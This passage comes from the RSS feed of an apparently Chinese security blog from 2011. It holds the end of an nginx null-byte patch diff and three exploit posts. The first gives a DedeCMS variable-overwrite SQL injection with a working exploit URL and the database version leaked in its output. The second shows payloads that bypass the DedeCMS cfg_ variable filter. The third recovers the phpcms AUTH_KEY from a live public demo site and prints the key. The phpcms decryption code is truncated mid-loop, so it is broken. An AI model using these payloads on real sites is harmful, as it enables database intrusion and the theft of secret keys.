<div><code>-            *flags |= NGX_HTTP_ZERO_IN_URI;</code></div>
<div><code>-            continue;</code></div>
<div><code>+            goto unsafe;</code></div>
<div><code> </code><code>}</code></div>
<div><code> </code><code>if (ngx_path_separator(ch) &amp;&amp; len &gt; 2) {</code></div>
<div><code>@@ -1449,34 +1445,19 @@</code></div>
<div><code> </code><code>void</code></div>
<div><code> </code><code>ngx_http_split_args(ngx_http_request_t *r, ngx_str_t *uri, ngx_str_t *args)</code></div>
<div><code> </code><code>{</code></div>
<div><code>-    u_char  ch, *p, *last;</code></div>
<div><code>+    u_char  *p, *last;</code></div>
<div><code>-    p = uri-&gt;data;</code></div>
<div><code>+    last = uri-&gt;data + uri-&gt;len;</code></div>
<div><code>-    last = p + uri-&gt;len;</code></div>
<div><code>+    p = ngx_strlchr(uri-&gt;data, last, '?');</code></div>
<div><code>-    args-&gt;len = 0;</code></div>
<div><code>+    if (p) {</code></div>
<div><code>+        uri-&gt;len = p - uri-&gt;data;</code></div>
<div><code>+        p++;</code></div>
<div><code>+        args-&gt;len = last - p;</code></div>
<div><code>+        args-&gt;data = p;</code></div>
<div><code>-    while (p &lt; last) {</code></div>
<div><code>-</code></div>
<div><code>-        ch = *p++;</code></div>
<div><code>-</code></div>
<div><code>-        if (ch == '?') {</code></div>
<div><code>-            args-&gt;len = last - p;</code></div>
<div><code>-            args-&gt;data = p;</code></div>
<div><code>-</code></div>
<div><code>-            uri-&gt;len = p - 1 - uri-&gt;data;</code></div>
<div><code>-</code></div>
<div><code>-            if (ngx_strlchr(p, last, '\0') != NULL) {</code></div>
<div><code>-                r-&gt;zero_in_uri = 1;</code></div>
<div><code>-            }</code></div>
<div><code>-</code></div>
<div><code>-            return;</code></div>
<div><code>-        }</code></div>
<div><code>-</code></div>
<div><code>-        if (ch == '\0') {</code></div>
<div><code>-            r-&gt;zero_in_uri = 1;</code></div>
<div><code>-            continue;</code></div>
<div><code>-        }</code></div>
<div><code>+    } else {</code></div>
<div><code>+        args-&gt;len = 0;</code></div>
<div><code> </code><code>}</code></div>
<div><code> </code><code>}</code></div>
<div><code>Index: src/http/modules/ngx_http_gzip_static_module.c</code></div>
<div><code>===================================================================</code></div>
<div><code>--- src/http/modules/ngx_http_gzip_static_module.c  (revision 3527)</code></div>
<div><code>+++ src/http/modules/ngx_http_gzip_static_module.c  (revision 3528)</code></div>
<div><code>@@ -89,10 +89,6 @@</code></div>
<div><code> </code><code>return NGX_DECLINED;</code></div>
<div><code> </code><code>}</code></div>
<div><code>-    if (r-&gt;zero_in_uri) {</code></div>
<div><code>-        return NGX_DECLINED;</code></div>
<div><code>-    }</code></div>
<div><code>-</code></div>
<div><code> </code><code>gzcf = ngx_http_get_module_loc_conf(r, ngx_http_gzip_static_module);</code></div>
<div><code> </code><code>if (!gzcf-&gt;enable) {</code></div>
<div><code>Index: src/http/modules/ngx_http_index_module.c</code></div>
<div><code>===================================================================</code></div>
<div><code>--- src/http/modules/ngx_http_index_module.c    (revision 3527)</code></div>
<div><code>+++ src/http/modules/ngx_http_index_module.c    (revision 3528)</code></div>
<div><code>@@ -116,10 +116,6 @@</code></div>
<div><code> </code><code>return NGX_DECLINED;</code></div>
<div><code> </code><code>}</code></div>
<div><code>-    if (r-&gt;zero_in_uri) {</code></div>
<div><code>-        return NGX_DECLINED;</code></div>
<div><code>-    }</code></div>
<div><code>-</code></div>
<div><code> </code><code>ilcf = ngx_http_get_module_loc_conf(r, ngx_http_index_module);</code></div>
<div><code> </code><code>clcf = ngx_http_get_module_loc_conf(r, ngx_http_core_module);</code></div>
<div><code>Index: src/http/modules/ngx_http_random_index_module.c</code></div>
<div><code>===================================================================</code></div>
<div><code>--- src/http/modules/ngx_http_random_index_module.c (revision 3527)</code></div>
<div><code>+++ src/http/modules/ngx_http_random_index_module.c (revision 3528)</code></div>
<div><code>@@ -86,10 +86,6 @@</code></div>
<div><code> </code><code>return NGX_DECLINED;</code></div>
<div><code> </code><code>}</code></div>
<div><code>-    if (r-&gt;zero_in_uri) {</code></div>
<div><code>-        return NGX_DECLINED;</code></div>
<div><code>-    }</code></div>
<div><code>-</code></div>
<div><code> </code><code>if (!(r-&gt;method &amp; (NGX_HTTP_GET|NGX_HTTP_HEAD|NGX_HTTP_POST))) {</code></div>
<div><code> </code><code>return NGX_DECLINED;</code></div>
<div><code> </code><code>}</code></div>
<div><code>Index: src/http/modules/ngx_http_dav_module.c</code></div>
<div><code>===================================================================</code></div>
<div><code>--- src/http/modules/ngx_http_dav_module.c  (revision 3527)</code></div>
<div><code>+++ src/http/modules/ngx_http_dav_module.c  (revision 3528)</code></div>
<div><code>@@ -146,10 +146,6 @@</code></div>
<div><code> </code><code>ngx_int_t                 rc;</code></div>
<div><code> </code><code>ngx_http_dav_loc_conf_t  *dlcf;</code></div>
<div><code>-    if (r-&gt;zero_in_uri) {</code></div>
<div><code>-        return NGX_DECLINED;</code></div>
<div><code>-    }</code></div>
<div><code>-</code></div>
<div><code> </code><code>dlcf = ngx_http_get_module_loc_conf(r, ngx_http_dav_module);</code></div>
<div><code> </code><code>if (!(r-&gt;method &amp; dlcf-&gt;methods)) {</code></div>
<div><code>Index: src/http/modules/ngx_http_flv_module.c</code></div>
<div><code>===================================================================</code></div>
<div><code>--- src/http/modules/ngx_http_flv_module.c  (revision 3527)</code></div>
<div><code>+++ src/http/modules/ngx_http_flv_module.c  (revision 3528)</code></div>
<div><code>@@ -80,10 +80,6 @@</code></div>
<div><code> </code><code>return NGX_DECLINED;</code></div>
<div><code> </code><code>}</code></div>
<div><code>-    if (r-&gt;zero_in_uri) {</code></div>
<div><code>-        return NGX_DECLINED;</code></div>
<div><code>-    }</code></div>
<div><code>-</code></div>
<div><code> </code><code>rc = ngx_http_discard_request_body(r);</code></div>
<div><code> </code><code>if (rc != NGX_OK) {</code></div>
<div><code>Index: src/http/modules/ngx_http_static_module.c</code></div>
<div><code>===================================================================</code></div>
<div><code>--- src/http/modules/ngx_http_static_module.c   (revision 3527)</code></div>
<div><code>+++ src/http/modules/ngx_http_static_module.c   (revision 3528)</code></div>
<div><code>@@ -66,10 +66,6 @@</code></div>
<div><code> </code><code>return NGX_DECLINED;</code></div>
<div><code> </code><code>}</code></div>
<div><code>-    if (r-&gt;zero_in_uri) {</code></div>
<div><code>-        return NGX_DECLINED;</code></div>
<div><code>-    }</code></div>
<div><code>-</code></div>
<div><code> </code><code>log = r-&gt;connection-&gt;log;</code></div>
<div><code> </code><code>/*</code></div>
<div><code>Index: src/http/modules/ngx_http_autoindex_module.c</code></div>
<div><code>===================================================================</code></div>
<div><code>--- src/http/modules/ngx_http_autoindex_module.c    (revision 3527)</code></div>
<div><code>+++ src/http/modules/ngx_http_autoindex_module.c    (revision 3528)</code></div>
<div><code>@@ -160,10 +160,6 @@</code></div>
<div><code> </code><code>return NGX_DECLINED;</code></div>
<div><code> </code><code>}</code></div>
<div><code>-    if (r-&gt;zero_in_uri) {</code></div>
<div><code>-        return NGX_DECLINED;</code></div>
<div><code>-    }</code></div>
<div><code>-</code></div>
<div><code> </code><code>if (!(r-&gt;method &amp; (NGX_HTTP_GET|NGX_HTTP_HEAD))) {</code></div>
<div><code> </code><code>return NGX_DECLINED;</code></div>
<div><code> </code><code>}</code></div>
<div><code>Index: src/http/modules/perl/ngx_http_perl_module.c</code></div>
<div><code>===================================================================</code></div>
<div><code>--- src/http/modules/perl/ngx_http_perl_module.c    (revision 3527)</code></div>
<div><code>+++ src/http/modules/perl/ngx_http_perl_module.c    (revision 3528)</code></div>
<div><code>@@ -168,10 +168,6 @@</code></div>
<div><code> </code><code>static ngx_int_t</code></div>
<div><code> </code><code>ngx_http_perl_handler(ngx_http_request_t *r)</code></div>
<div><code> </code><code>{</code></div>
<div><code>-    if (r-&gt;zero_in_uri) {</code></div>
<div><code>-        return NGX_HTTP_NOT_FOUND;</code></div>
<div><code>-    }</code></div>
<div><code>-</code></div>
<div><code> </code><code>r-&gt;main-&gt;count++;</code></div>
<div><code> </code><code>ngx_http_perl_handle_request(r);</code></div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dedecms变量覆盖导致的变量覆盖导致的注射</title>
		<link>http://www.0x50sec.org/dedecms%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e5%af%bc%e8%87%b4%e7%9a%84%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e5%af%bc%e8%87%b4%e7%9a%84%e6%b3%a8%e5%b0%84/</link>
		<comments>http://www.0x50sec.org/dedecms%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e5%af%bc%e8%87%b4%e7%9a%84%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e5%af%bc%e8%87%b4%e7%9a%84%e6%b3%a8%e5%b0%84/#comments</comments>
		<pubDate>Fri, 12 Aug 2011 14:28:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[变量覆盖]]></category>
		<category><![CDATA[注射]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1149</guid>
		<description><![CDATA[好久没更新博客，再丢一个鸡肋。最近dedecms的那个变量覆盖漏洞很火貌似。可惜我还没研究透怎么利用好就被爆了，在人家手里好多年都不爆，有的家伙不知道是自己发现还是捡到了或者别人泄漏了就爆了～～～额真不和谐~~~ dedecms又一个magic_quote_gpc=Off的时候_RunMagicQuotes函数不起作用的例子。 by c4rp3nt3r@0x50sec.org 2011年5月 DedeCms 所有版本 buy_action.php注射漏洞 利用条件 magic_quote_gpc=Off 变量覆盖后存在注射漏洞 所有存在parse_str(mchStrCode($XX,DECODE)，$YY)的地方都是危险的。 SB的Dedecms害怕变量覆盖不了，还紧跟foreach循环强制覆盖。 注意parse_str函数会受magic_quotes_gpc的影响。 12 echo '------------------------'; 13 echo "pd_encode: ".$pd_encode.' cfg_cookie_encode: '.$cfg_cookie_encode; 14 echo '~~~~~~~~~~~~~~~~~~~~~~~~'; 15 echo md5("payment".$pd_encode.$cfg_cookie_encode); 16 17 if(isset($pd_encode) &#38;&#38; isset($pd_verify) &#38;&#38; md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify) 18 { 19 20     parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post); //非常和谐 21 22     foreach($mch_Post as $k =&#62; $v) $$k = $v; //非常和谐 [...]]]></description>
			<content:encoded><![CDATA[<p>好久没更新博客，再丢一个鸡肋。最近dedecms的那个变量覆盖漏洞很火貌似。可惜我还没研究透怎么利用好就被爆了，在人家手里好多年都不爆，有的家伙不知道是自己发现还是捡到了或者别人泄漏了就爆了～～～额真不和谐~~~</p>
<p><strong>dedecms又一个magic_quote_gpc=Off的时候_RunMagicQuotes函数不起作用的例子。</strong></p>
<p><strong>by c4rp3nt3r@0x50sec.org </strong></p>
<p><strong>2011年5月</strong></p>
<p>DedeCms 所有版本 buy_action.php注射漏洞<br />
利用条件 magic_quote_gpc=Off</p>
<p>变量覆盖后存在注射漏洞</p>
<p>所有存在parse_str(mchStrCode($XX,DECODE)，$YY)的地方都是危险的。<br />
SB的Dedecms害怕变量覆盖不了，还紧跟foreach循环强制覆盖。</p>
<p>注意parse_str函数会受magic_quotes_gpc的影响。</p>
<p><code>12 echo '------------------------';<br />
13 echo "pd_encode: ".$pd_encode.' cfg_cookie_encode: '.$cfg_cookie_encode;<br />
14 echo '~~~~~~~~~~~~~~~~~~~~~~~~';<br />
15 echo md5("payment".$pd_encode.$cfg_cookie_encode);<br />
16<br />
17 if(isset($pd_encode) &amp;&amp; isset($pd_verify) &amp;&amp; md5("payment".$pd_encode.$cfg_cookie_encode)<br />
== $pd_verify)<br />
18 {<br />
19<br />
20     parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post); //非常和谐<br />
21<br />
22     foreach($mch_Post as $k =&gt; $v) $$k = $v; //非常和谐<br />
23     $row  = $dsql-&gt;GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 A<br />
ND product='$product'");</code></p>
<p>./data/sys_pay.cache.php</p>
<p>32 function mchStrCode($string,$action=&#8217;ENCODE&#8217;)<br />
33 {<br />
34     $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);<br />
35     $string = $action == &#8216;ENCODE&#8217; ? $string : base64_decode($string);<br />
36     $len    = strlen($key);<br />
37     $code   = &#8221;;<br />
38     for($i=0; $i&lt;strlen($string); $i++)<br />
39     {<br />
40         $k      = $i % $len;<br />
41         $code  .= $string[$i] ^ $key[$k];<br />
42     }<br />
43     $code = $action == &#8216;DECODE&#8217; ? $code : base64_encode($code);<br />
44     return $code;<br />
45 }</p>
<p>dedecms 报错最新版本有许多注射漏洞。</p>
<p>Error page:<br />
/x/upload/member/buy_action.php?pd_encode=BxAAXQVSUVQHAxZeX11fEBRWDwFDU0BDRlABEkZSWkwHHwUbAgoN<br />
VVlDHAEaVgkfHk8HRUdeDgtLHxEeHRFZQwADEFxfQ1JD&amp;pd_veri<br />
fy=0abb4ffcdc6379fcbaa6d0ac38aa71d6<br />
Error infos: XPATH syntax error: &#8216; 5.1.41-3ubuntu12.10&#8242;<br />
Error sql: SELECT * FROM dede_member_operation WHERE mid=&#8221; and<br />
extractvalue(1,concat(0&#215;09,(version()))) limit 0,1;</p>
<p>只不过是个鸡肋</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/dedecms%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e5%af%bc%e8%87%b4%e7%9a%84%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e5%af%bc%e8%87%b4%e7%9a%84%e6%b3%a8%e5%b0%84/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>关于Dedecms的变量覆盖漏洞的利用</title>
		<link>http://www.0x50sec.org/%e5%85%b3%e4%ba%8ededecms%e7%9a%84%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e6%bc%8f%e6%b4%9e%e7%9a%84%e5%88%a9%e7%94%a8/</link>
		<comments>http://www.0x50sec.org/%e5%85%b3%e4%ba%8ededecms%e7%9a%84%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e6%bc%8f%e6%b4%9e%e7%9a%84%e5%88%a9%e7%94%a8/#comments</comments>
		<pubDate>Thu, 11 Aug 2011 13:01:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[变量覆盖]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1139</guid>
		<description><![CDATA[最近有人爆出了dedecms的变量覆盖漏洞,这也是个挺有意思的漏洞，有的情况下dedecms的这个变量漏洞存在好久了在有的人手里都好多年了,大约半年前我也独立发现过 本文c4rp3nt3r@0x50sec.org 写于2011年5月 DedeCMS 任意变量覆盖漏洞的利用 Dedecms的变量覆盖漏洞总结 1.在magic_quotes_gpc=Off时 common.inc.php对原来的一维数组的$_GET原始数据没有进行addslashes，而是对一维数组的$$key进行了addslashes，导致filter.inc.php再次覆盖的时候使_RunMagicQuotes函数成了纸老虎。 2.common.inc.php //检查和注册外部提交的变量，此处只检查一维数组的key，可以被绕过从而创建不允许的系统配置变量 我们可以通过下面的变量覆盖漏洞使用GET提交的方式创建出$_POST数组数据，创建是在检查之后的也就绕过了检查，创建出来之后，程序又将其注册成了变量。 3.filter.inc.php 这个文件在系统配置文件之后，里面有foreach循环创建变量，所以可以覆盖系统变量。 1.在magic_quotes_gpc=off的时候可以绕过_RunMagicQuotes的过滤！ xxx.php?site=c4rp3nt3r&#8217;s blog 经过common.inc.php $c4rp3nt3r=c4rp3nt3r\&#8217;s blog 经过filter.inc.php $c4rp3nt3r=c4rp3nt3r&#8217;s blog 2.创建系统变量 程序不允许创建cfg_开头的变量，依靠这样来防御系统变量未初始化漏洞。 common.inc.php文件的漏洞我们创建了系统变量就可以触发此类漏洞。 但是有的系统变量已经初始化了，而且是在common.inc.php文件foreach循环注册变量之后，就是说我们能创建，但是没法覆盖～～～ 但是好玩的是filter.inc.php这个文件又进行了一次foreach循环也就是二次创建。所以如果包含了filter.inc.php文件我们就可以覆盖系统变量。 在/member目录的大部分文件都包含这么一个文件/member/config.php 这个文件的前两句就是 require_once(dirname(__FILE__).&#8217;/../include/common.inc.php&#8217;); require_once(DEDEINC.&#8217;/filter.inc.php&#8217;); 就是说/member目录的大部分文件都受此漏洞影响可以覆盖系统变量。 其他目录的文件也不一定就是安全的，可以触发系统变量未初始化漏洞。 有两种利用方法 1.依赖于common.inc.php的变量创建和filter.inc.php的变量覆盖 //magic_quote_gpc=Off 我们提交 xxx.php?_GET[cfg_xx]=c4rp3nt3r&#8217;s blog 经过common.inc.php $_GET[cfg_xx]=c4rp3nt3r\&#8217;s blog 经过filter.inc.php $cfg_xx=c4rp3nt3r&#8217;s blog 2.依赖于common.inc.php的变量创建 提交 xxx.php?_POST[cfg_xx]=c4rp3nt3r&#8217;s blog //检查和注册外部提交的变量 foreach($_REQUEST as $_k=&#62;$_v) //此处只检查一维数组的key，可以被绕过从而创建不允许的系统配置变量 { [...]]]></description>
			<content:encoded><![CDATA[<p><em><br />
最近有人爆出了dedecms的变量覆盖漏洞,这也是个挺有意思的漏洞，有的情况下dedecms的这个变量漏洞存在好久了在有的人手里都好多年了,<strong>大约半年前我也独立发现过</strong></em><br />
<strong>本文c4rp3nt3r@0x50sec.org<br />
写于2011年5月</strong></p>
<p>DedeCMS 任意变量覆盖漏洞的利用</p>
<p>Dedecms的变量覆盖漏洞总结<br />
1.在magic_quotes_gpc=Off时<br />
common.inc.php对原来的一维数组的$_GET原始数据没有进行addslashes，而是对一维数组的$$key进行了addslashes，导致filter.inc.php再次覆盖的时候使_RunMagicQuotes函数成了纸老虎。</p>
<p>2.common.inc.php<br />
//检查和注册外部提交的变量，此处只检查一维数组的key，可以被绕过从而创建不允许的系统配置变量<br />
我们可以通过下面的变量覆盖漏洞使用GET提交的方式创建出$_POST数组数据，创建是在检查之后的也就绕过了检查，创建出来之后，程序又将其注册成了变量。</p>
<p>3.filter.inc.php<br />
这个文件在系统配置文件之后，里面有foreach循环创建变量，所以可以覆盖系统变量。</p>
<p><span id="more-1139"></span>1.在magic_quotes_gpc=off的时候可以绕过_RunMagicQuotes的过滤！<br />
xxx.php?site=c4rp3nt3r&#8217;s blog<br />
经过common.inc.php<br />
$c4rp3nt3r=c4rp3nt3r\&#8217;s blog<br />
经过filter.inc.php<br />
$c4rp3nt3r=c4rp3nt3r&#8217;s blog</p>
<p>2.创建系统变量</p>
<p>程序不允许创建cfg_开头的变量，依靠这样来防御系统变量未初始化漏洞。<br />
common.inc.php文件的漏洞我们创建了系统变量就可以触发此类漏洞。<br />
但是有的系统变量已经初始化了，而且是在common.inc.php文件foreach循环注册变量之后，就是说我们能创建，但是没法覆盖～～～<br />
但是好玩的是filter.inc.php这个文件又进行了一次foreach循环也就是二次创建。所以如果包含了filter.inc.php文件我们就可以覆盖系统变量。</p>
<p>在/member目录的大部分文件都包含这么一个文件/member/config.php<br />
这个文件的前两句就是<br />
require_once(dirname(__FILE__).&#8217;/../include/common.inc.php&#8217;);<br />
require_once(DEDEINC.&#8217;/filter.inc.php&#8217;);<br />
就是说/member目录的大部分文件都受此漏洞影响可以覆盖系统变量。<br />
其他目录的文件也不一定就是安全的，可以触发系统变量未初始化漏洞。</p>
<p>有两种利用方法<br />
1.依赖于common.inc.php的变量创建和filter.inc.php的变量覆盖<br />
//magic_quote_gpc=Off<br />
我们提交<br />
xxx.php?_GET[cfg_xx]=c4rp3nt3r&#8217;s blog<br />
经过common.inc.php<br />
$_GET[cfg_xx]=c4rp3nt3r\&#8217;s blog<br />
经过filter.inc.php<br />
$cfg_xx=c4rp3nt3r&#8217;s blog</p>
<p>2.依赖于common.inc.php的变量创建</p>
<p>提交<br />
xxx.php?_POST[cfg_xx]=c4rp3nt3r&#8217;s blog<br />
//检查和注册外部提交的变量<br />
foreach($_REQUEST as $_k=&gt;$_v)	//此处只检查一维数组的key，可以被绕过从而创建不允许的系统配置变量<br />
{<br />
if( strlen($_k)&gt;0 &amp;&amp; eregi(&#8216;^(cfg_|GLOBALS)&#8217;,$_k) )	//$_k=&#8217;_POST[cfg_xx]&#8216;;绕过了正则<br />
{<br />
exit(&#8216;Request var not allow!&#8217;);<br />
}<br />
}</p>
<p>function _RunMagicQuotes(&amp;$svar)<br />
{<br />
if(!get_magic_quotes_gpc())<br />
{<br />
if( is_array($svar) )<br />
{<br />
foreach($svar as $_k =&gt; $_v) $svar[$_k] = _RunMagicQuotes($_v);<br />
}<br />
else<br />
{<br />
$svar = addslashes($svar);<br />
}<br />
}<br />
return $svar;<br />
}</p>
<p>foreach(Array(&#8216;_GET&#8217;,'_POST&#8217;,'_COOKIE&#8217;) as $_request)<br />
{</p>
<p>foreach($$_request as $_k =&gt; $_v) ${$_k} = _RunMagicQuotes($_v);<br />
//如果提交xxx.php?_GET[cfg_xx]=c4rp3nt3r&#8217;s blog<br />
//仅仅创建了$_GET[cfg_xx]但是第一次的循环$_GET已经执行完了,只能利用filter.inc.php的foreach循环变量覆盖来创建了<br />
//如果我们提交xxx.php?_POST[cfg_xx]=c4rp3nt3r&#8217;s blog<br />
//第一次执行$_GET循环后才创建出$_POST[cfg_xx],就不会进入上面的正则检查<br />
//但是下一次进行$_POST循环时候正好注册我们的变量$cfg_xx=c4rp3nt3r\&#8217;s blog</p>
<p>}</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e5%85%b3%e4%ba%8ededecms%e7%9a%84%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e6%bc%8f%e6%b4%9e%e7%9a%84%e5%88%a9%e7%94%a8/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞</title>
		<link>http://www.0x50sec.org/phpcms%e7%9a%84%e5%8f%a6%e4%b8%80%e4%b8%aaphpcms_auth%e5%87%bd%e6%95%b0%e7%9a%84%e5%8a%a0%e5%af%86%e5%af%86%e9%92%a5auth_key%e6%b3%84%e6%bc%8f%e6%bc%8f%e6%b4%9e/</link>
		<comments>http://www.0x50sec.org/phpcms%e7%9a%84%e5%8f%a6%e4%b8%80%e4%b8%aaphpcms_auth%e5%87%bd%e6%95%b0%e7%9a%84%e5%8a%a0%e5%af%86%e5%af%86%e9%92%a5auth_key%e6%b3%84%e6%bc%8f%e6%bc%8f%e6%b4%9e/#comments</comments>
		<pubDate>Tue, 05 Apr 2011 10:54:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[phpcms]]></category>
		<category><![CDATA[phpcms_auth]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1072</guid>
		<description><![CDATA[phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞 phpcms又一个鸡肋。 by c4rp3nt3r@0x50sec.org phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。 而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。 《phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞》http://www.wooyun.org/bugs/wooyun-2010-01795 已经说明了两个破解&#8221;phpcms_auth函数的加密密钥AUTH_KEY&#8221;的方法，但是还不是很理想，最理想的是直接给我们足够的明文和密文。 是的开放的phpcms真的给我们这样的了，没有保留。 上一篇说到&#8221;破解了这个函数之后，一方面反而更加不安全了，另一方面所有建立在这个函数之上的机制可能都会受到攻击。&#8221; 其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。 来看magic_image函数，主要作用就是将字符串生成一个图片，这样做应该是为了防止别人采集网站上的数据，或者是防止泄漏隐私。 // include global.fun.php function magic_image($txt, $fonttype = 4) { if(empty($txt)) return false; if(function_exists(&#8220;imagepng&#8221;)) { $txt = urlencode(phpcms_auth($txt, &#8216;ENCODE&#8217;, AUTH_KEY)); $txt = &#8216;&#8216;; } return $txt; } 在招聘、供求信息、跳蚤市场等多个功能模块都用到了这个函数。而且像供求信息、跳蚤市场貌似普通注册用户就能发贴。 发贴的时候在电话号码或邮箱那的字符就会被magic_image函数加密，显示给用户的时候又会调用magic_image.php文件，对字符串解密并进行生成图片。 就是说： 我们可以自定义明文 并且我们也可以得到明文加密后的密文 这就意味这我们可以得到全部密文(只要电话或邮箱的长度大于20位即可)，不费什么力气。 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 举例说明 1.在http://demo.phpcms.cn随便注册个普通用户会员 2.在跳蚤市场那 http://demo.phpcms.cn/info/sale/ 随便点开一个信息页点右侧的 【免费发布信息】 http://demo.phpcms.cn/contribute.php?catid=22 随便发一条信息 使用邮箱为 mailc4rp3nt3r@gmail.com [...]]]></description>
			<content:encoded><![CDATA[<p>phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞<br />
phpcms又一个鸡肋。<br />
by c4rp3nt3r@0x50sec.org</p>
<p>phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。<br />
而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。</p>
<p>《phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞》http://www.wooyun.org/bugs/wooyun-2010-01795<br />
已经说明了两个破解&#8221;phpcms_auth函数的加密密钥AUTH_KEY&#8221;的方法，但是还不是很理想，最理想的是直接给我们足够的明文和密文。<br />
是的开放的phpcms真的给我们这样的了，没有保留。</p>
<p>上一篇说到&#8221;破解了这个函数之后，一方面反而更加不安全了，另一方面所有建立在这个函数之上的机制可能都会受到攻击。&#8221;<br />
其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。<br />
来看magic_image函数，主要作用就是将字符串生成一个图片，这样做应该是为了防止别人采集网站上的数据，或者是防止泄漏隐私。<br />
<code><br />
// include global.fun.php</code></p>
<p>function magic_image($txt, $fonttype = 4)<br />
{<br />
if(empty($txt)) return false;<br />
if(function_exists(&#8220;imagepng&#8221;))<br />
{<br />
$txt = urlencode(phpcms_auth($txt, &#8216;ENCODE&#8217;, AUTH_KEY));<br />
$txt = &#8216;<img src="'.PHPCMS_PATH.'magic_image.php?gd=1&amp;fonttype='.$fonttype.'&amp;txt='.$txt.'" alt="" align="absMiddle" />&#8216;;<br />
}<br />
return $txt;<br />
}<br />
<span id="more-1072"></span><br />
在招聘、供求信息、跳蚤市场等多个功能模块都用到了这个函数。而且像供求信息、跳蚤市场貌似普通注册用户就能发贴。<br />
发贴的时候在电话号码或邮箱那的字符就会被magic_image函数加密，显示给用户的时候又会调用magic_image.php文件，对字符串解密并进行生成图片。<br />
就是说：<br />
我们可以自定义明文<br />
并且我们也可以得到明文加密后的密文</p>
<p>这就意味这我们可以得到全部密文(只要电话或邮箱的长度大于20位即可)，不费什么力气。</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
举例说明<br />
1.在http://demo.phpcms.cn随便注册个普通用户会员<br />
2.在跳蚤市场那</p>
<p>http://demo.phpcms.cn/info/sale/</p>
<p>随便点开一个信息页点右侧的 【免费发布信息】 http://demo.phpcms.cn/contribute.php?catid=22<br />
随便发一条信息<br />
使用邮箱为<br />
mailc4rp3nt3r@gmail.com<br />
3.最后找到我们发布的信息:</p>
<p>http://demo.phpcms.cn/2011/0405/366.html</p>
<p>查看邮箱图片的地址</p>
<p>http://demo.phpcms.cn/magic_image.php?gd=1&#038;fonttype=4&#038;txt=ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>好了<br />
明文:mailc4rp3nt3r@gmail.com<br />
密文:ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D</p>
<p>解密一下:<br />
<code>$key="mailc4rp3nt3r@gmail.com";<br />
$txt='ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D';<br />
$txt=base64_decode(urldecode($txt));</code></p>
<p>for($i=0;$i<br />
运行结果:<br />
$ php /var/www/vul.php<br />
OXdcFVodxAcbCUeTgLBgOXdc</p>
<p>我们的密钥就是：<br />
OXdcFVodxAcbCUeTgLBg</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/phpcms%e7%9a%84%e5%8f%a6%e4%b8%80%e4%b8%aaphpcms_auth%e5%87%bd%e6%95%b0%e7%9a%84%e5%8a%a0%e5%af%86%e5%af%86%e9%92%a5auth_key%e6%b3%84%e6%bc%8f%e6%bc%8f%e6%b4%9e/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞</title>
		<link>http://www.0x50sec.org/phpcms%e6%9c%ac%e5%9c%b0%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e%e5%af%bc%e8%87%b4%e7%9a%84%e5%86%99shell%e6%bc%8f%e6%b4%9e%e5%92%8c%e5%88%a0%e9%99%a4%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e6%bc%8f%e6%b4%9e/</link>
